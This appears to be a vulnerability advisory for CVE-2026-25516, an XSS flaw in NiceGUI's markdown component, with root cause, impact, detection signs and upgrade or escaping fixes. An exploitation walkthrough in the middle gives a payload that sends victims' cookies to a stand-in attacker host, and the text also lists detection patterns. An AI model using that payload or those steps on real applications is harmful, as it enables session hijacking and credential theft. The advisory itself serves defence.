CVE-2026-25516: 
Python vulnerability analysis and mitigation

CVE-2026-25516 is a Cross-Site Scripting (XSS) vulnerability in the ui.markdown() component of NiceGUI, a Python-based UI framework. The flaw allows attackers to inject malicious HTML containing JavaScript event handlers into markdown content rendered via innerHTML, enabling arbitrary JavaScript execution in the victim's browser. All NiceGUI versions up to and including 3.6.1 are affected; the issue is fixed in version 3.7.0. It carries a CVSS v3.1 base score of 6.1 (Moderate) (Github Advisory, NiceGUI Advisory). The advisory was published on February 5, 2026, and assigned CVE-2026-25516.

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The ui.markdown() component uses the markdown2 library to convert markdown to HTML, which is then assigned directly to innerHTML in the browser. By default, markdown2 passes raw HTML through unchanged, meaning any HTML tags or JavaScript event handlers embedded in user-supplied markdown are rendered as-is. Unlike other NiceGUI HTML-rendering components (ui.html(), ui.chat_message(), ui.interactive_image()), ui.markdown() did not offer a sanitize parameter, leaving no built-in mechanism to strip malicious content. A minimal proof-of-concept is publicly documented in the advisory: passing a string such as 'Hello! <img src=x onerror=alert(1)>' to ui.markdown() triggers JavaScript execution when the page loads (Github Advisory, NiceGUI Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session when they view a page rendering malicious markdown content. This can result in theft of session cookies or authentication tokens, credential harvesting, session hijacking, unauthorized actions performed on behalf of the user, and redirection to malicious sites. Applications most at risk include chat platforms displaying user messages, CMS or documentation systems with user-editable content, and any NiceGUI application that renders markdown from untrusted sources (Github Advisory).

A proof-of-concept exploit is publicly available in the GitHub security advisory, demonstrating exploitation with a simple Python snippet (Github Advisory). Exploitation requires no authentication and no special privileges, but does require user interaction — a victim must load the page rendering the malicious markdown. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.025% (8th percentile), indicating a low near-term exploitation probability (Github Advisory).

1. Identify a target application: Find a NiceGUI application (version ≤ 3.6.1) that renders user-controlled content through ui.markdown(), such as a chat app, CMS, or documentation system.
2. Craft a malicious payload: Prepare a markdown string containing embedded HTML with a JavaScript event handler, for example: Hello! <img src=x onerror="document.location='https://attacker.com/steal?c='+document.cookie">
3. Inject the payload: Submit the malicious string as user input to any field or endpoint that stores or reflects content rendered by ui.markdown().
4. Trigger victim page load: Cause a victim user (e.g., another chat participant or admin) to load the page that renders the injected content.
5. Achieve JavaScript execution: When the page loads, the browser renders the unsanitized HTML via innerHTML, executing the attacker's JavaScript — enabling cookie theft, session hijacking, or further client-side attacks (Github Advisory, NiceGUI Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains shortly after loading a NiceGUI page (e.g., cookie exfiltration to attacker-controlled servers); unusual redirects originating from NiceGUI application pages.
• Logs: Web server or application logs showing user-submitted content containing raw HTML tags (e.g., <img, <script, onerror=, onload=) stored or reflected in markdown fields.
• Browser/Client-Side: JavaScript errors or unexpected alert dialogs on NiceGUI pages; browser developer tools showing innerHTML assignments containing event handler attributes in markdown-rendered elements.
• Application Data: Stored markdown content in databases or message stores containing embedded HTML tags or JavaScript event handlers rather than plain markdown syntax.

Upgrade NiceGUI to version 3.7.0 or later, which introduces a sanitize parameter for ui.markdown() and integrates DOMPurify for client-side HTML sanitization (NiceGUI Commit). If immediate patching is not possible, avoid passing untrusted content directly to ui.markdown(). Two interim workarounds are available: (1) manually convert markdown to HTML and sanitize using ui.html() with the html-sanitizer package; or (2) escape HTML entities before passing content to ui.markdown() using Python's html.escape() function, which prevents any HTML from being interpreted (Github Advisory). Review all NiceGUI applications for instances where ui.markdown() processes user-supplied input.

The vulnerability was discovered and reported by NiceGUI maintainer falkoschindler, with remediation review by contributor evnchn, indicating responsible internal disclosure and rapid patching within the project (NiceGUI Advisory). No significant external media coverage or notable public researcher commentary beyond the official advisory has been identified.